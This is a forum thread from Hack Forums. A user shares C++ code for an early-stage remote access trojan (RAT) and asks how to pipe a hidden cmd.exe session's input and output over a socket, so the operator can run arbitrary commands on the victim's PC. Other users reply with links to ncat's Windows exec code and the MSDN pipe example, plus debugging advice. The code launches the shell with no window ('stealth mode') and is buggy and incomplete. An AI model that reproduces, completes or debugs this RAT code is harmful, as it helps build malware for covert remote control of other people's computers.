

Forum:[Hack Forums](#)

Thread: [CMD session on client controlled by server using pipes..](#)

stdio - April 25, 2018, 2:57 am

Hello HF,

In early stages of building a RAT, so far I have

(1) Server and client connecting through sockets

(2) server selects a function (snapshot/get process list etc) to perform on client (functions pre coded on client)

Now I would like to initiate a cmd session on client PC so I can possibly do anything on client PC, instead of just some pre-coded functions.

I can initiate a cmd session on client PC but need guidance on how to send/rcv commands and cmd output back to server. I read about pipes but still need help.

This is the part where client rcvs command to initiate cmd session

Code while (true)

```
{
    ZeroMemory(buf, 4096);
    int bytesReceived;
    recv(SendingSocket, buf, 4096, 0);
    if (bytesReceived == SOCKET_ERROR)
    {
        cerr << "error in recv()" << endl;
        break;
    }
    if (buf == 0)
    {
        cout << "Client disconnected" << endl;
        break;
    }
    else
    {
        if (strcmp("1", buf) == 0)
        {
            //start cmd in stealth mode
            STARTUPINFO StartInfo;
            PROCESS_INFORMATION ProcessInfo;

            ZeroMemory(&StartInfo, sizeof(StartInfo));
            StartInfo.cb = sizeof(StartInfo);
            if (!CreateProcess(L"c:\\cmd.exe", NULL, NULL, NULL, FALSE,
                HIGH_PRIORITY_CLASS | CREATE_NO_WINDOW, NULL, NULL,
                &StartInfo, &ProcessInfo))
            {
                // Close process and thread handles.
                CloseHandle(ProcessInfo.hThread);
                CloseHandle(ProcessInfo.hProcess);
            }
            send(SendingSocket, "Started CMD session..", strlen("Started CMD session..")+1, 0);
        }
    }
}
```

```

    if (strcmp("2", buf) == 0)
    {
        send(SendingSocket, "Exited", strlen("Exited"), 0);
        break;
    }
}

```

}Any kind of help is appreciated.

In short I need to know how to get the output of cmd to client and then send it over to server. Just need pointers, rest I can search (hopefully).

HFDone - April 25, 2018, 4:05 am

https://github.com/nmap/nmap/blob/master/ncat/ncat_exec_win.c

stdio - April 25, 2018, 4:46 am

(Apr 25, 2018 04:05 AM)HFDone Wrote: [\[CITE\]](#)

https://github.com/nmap/nmap/blob/master/ncat/ncat_exec_win.c

Thanks, I need a little briefing though regarding the whole concept.

Program creates a child process (cmd session) using createprocess, now how do I communicate with this child process? what are various options..

HFDone - April 25, 2018, 7:16 am

subprocess_thread_func https://github.com/nmap/nmap/blob/master/ncat/ncat_exec_win.c#L461

but you better check msdn example

[https://msdn.microsoft.com/en-us/library/windows/desktop/ms682499\(v=vs.85\).aspx](https://msdn.microsoft.com/en-us/library/windows/desktop/ms682499(v=vs.85).aspx)

stdio - April 26, 2018, 8:12 am

(Apr 25, 2018 07:16 AM)HFDone Wrote: [\[CITE\]](#) subprocess_thread_func

https://github.com/nmap/nmap/blob/master/ncat/ncat_exec_win.c#L461

but you better check msdn example

[https://msdn.microsoft.com/en-us/library/windows/desktop/ms682499\(v=vs.85\).aspx](https://msdn.microsoft.com/en-us/library/windows/desktop/ms682499(v=vs.85).aspx)

I am using the msdn code you provided, edited it so that it gets gets command from program instead of reading from a file.

My functions for read/write to pipes are

Code void WriteToPipe()

```
// Read from a file and write its contents to the pipe for the child's STDIN.
```

```
// Stop when there is no more data.
```

```
{
```

```
    DWORD dwRead, dwWritten;
```

```
    CHAR chBuf[BUFSIZE] = "dir";
```

```
    BOOL bSuccess = FALSE;
```

```
    bSuccess = WriteFile(g_hChildStd_IN_Wr, chBuf, BUFSIZE, &dwWritten, NULL);
```

```
    if (!bSuccess)
```

```
        cout << "write to pipe failed"<<endl;
```

```
// Close the pipe handle so the child process stops reading.
```

```

    if (!CloseHandle(g_hChildStd_IN_Wr))
        cout<<"StdInWr CloseHandle"<<endl;

}

```

void ReadFromPipe()

```

// Read output from the child process's pipe for STDOUT
// and write to the parent process's pipe for STDOUT.
// Stop when there is no more data.
{
    DWORD dwRead, dwWritten;
    CHAR chBuf[BUFSIZE];
    BOOL bSuccess = FALSE;
    HANDLE hParentStdOut = GetStdHandle(STD_OUTPUT_HANDLE);

    for (;;)
    {
        bSuccess = ReadFile(g_hChildStd_OUT_Rd, chBuf, BUFSIZE, &dwRead, NULL);
        if (!bSuccess || dwRead == 0) break;

        bSuccess = WriteFile(hParentStdOut, chBuf,
            dwRead, &dwWritten, NULL);
        if (!bSuccess) break;
    }
}

```

read from pipe does not work, when executed cmd gives following message
"The system cannot find message text for message 0x2350 in message file for application".
"Not enough storage is available to process this command"

SlowMehMo - April 28, 2018, 2:09 am

(Apr 26, 2018 08:12 AM)Homi Wrote: [\[CITE\]](#) I am using the msdn code you provided, edited it so that it gets gets command from program instead of reading from a file.

My functions for read/write to pipes are

Code void WriteToPipe()

```

// Read from a file and write its contents to the pipe for the child's STDIN.
// Stop when there is no more data.
{
    DWORD dwRead, dwWritten;
    CHAR chBuf[BUFSIZE] = "dir";
    BOOL bSuccess = FALSE;

    bSuccess = WriteFile(g_hChildStd_IN_Wr, chBuf, BUFSIZE, &dwWritten, NULL);
    if (!bSuccess)
        cout << "write to pipe failed"<<endl;

    // Close the pipe handle so the child process stops reading.

```

```

if (!CloseHandle(g_hChildStd_IN_Wr))
cout<<"StdInWr CloseHandle"<<endl;

}

```

```

void ReadFromPipe()

```

```

// Read output from the child process's pipe for STDOUT
// and write to the parent process's pipe for STDOUT.
// Stop when there is no more data.

```

```

{
    DWORD dwRead, dwWritten;
    CHAR chBuf[BUFSIZE];
    BOOL bSuccess = FALSE;
    HANDLE hParentStdOut = GetStdHandle(STD_OUTPUT_HANDLE);

```

```

    for (;;)
    {
        bSuccess = ReadFile(g_hChildStd_OUT_Rd, chBuf, BUFSIZE, &dwRead, NULL);
        if (!bSuccess || dwRead == 0) break;

```

```

        bSuccess = WriteFile(hParentStdOut, chBuf,
        dwRead, &dwWritten, NULL);
        if (!bSuccess) break;
    }
}

```

read from pipe does not work, when executed cmd gives following message

"The system cannot find message text for message 0x2350 in message file for application".

"Not enough storage is available to process this command"

Try moving the applications to another environment, thats a weird issue.

The only time i had that storage issue, i had a custom control for exiting, and it didnt do garbage collection correctly, so i had multiple instances open without realizing. something about the atom table.